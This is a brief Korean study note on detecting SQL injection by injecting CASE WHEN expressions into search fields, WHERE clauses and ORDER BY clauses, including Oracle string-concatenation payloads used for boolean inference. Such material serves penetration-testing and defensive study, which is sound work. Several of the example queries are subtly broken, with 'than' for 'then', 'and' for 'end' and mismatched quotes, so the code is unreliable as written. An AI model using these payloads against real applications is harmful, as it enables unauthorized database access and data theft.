CASE WHEN 구문의 활용
이것 역시 취약 우무 확인에 사용 된다.
CASE WHEN이란 조건문과 비슷하다고 보면 된다.
SQL 기본 문법 강의도 한번 들어보자
CASE WHEN [CONDITION] THEN [TRUE] ELSE [FALSE] END
인라인 : SELECT FROM ask WHERE idx=(case when 1=1 then 9 else 3 end) -> 9 데이터 조회 성공
인라인 : SELECT FROM member WHERE user_id="||(case when 1=1 than 'hacker' else 'test' and)|| -> 'hacker' 데이터 조회 성공
쿼리 : SELECT * FROM board ORDER BY (case when 1=1 then idx else title and) desc -> 참일 경우 idx 순으로, 거짓일 경우 제목순으로
CASE WHEN 구문활용[2]
게시판 내에 제목 검색으로 해서 te'||'st 검색 시 test가 검색될 시 취약하다고 합리적인 의심을 가질 수 있다.
근데 간혹 가다 오라클에서 '||' 이 형태의 구문을 자동적으로 제거가 되는 경우가 있다.
자동 필터링으로 test로 검색되는 경우가 있어 주의를 해야한다.
확실히 확인하는 방법은 케이스 웬 구문이다.
te'||(CASE WHEN 1=1 THEN 's' ELSE 'N' END)||t 를 제목 검색창에 넣으면 된다.
SELECT * FROM board WHERE title like'%te'||(CASE WHEN 1=1 THEN 'S' ELSE 'N' END)||t%'
CASE WHEN 구문활용[3]
터미네이팅, 인라인 둘 다 사용되지 않을 경우 [꽤 많다]
SELECT * FROM member WHERE user_ID="||case when 1=1 then 'hacker' else 'test' end)||"
1=1이 데이터 추론 구문 들어가는 곳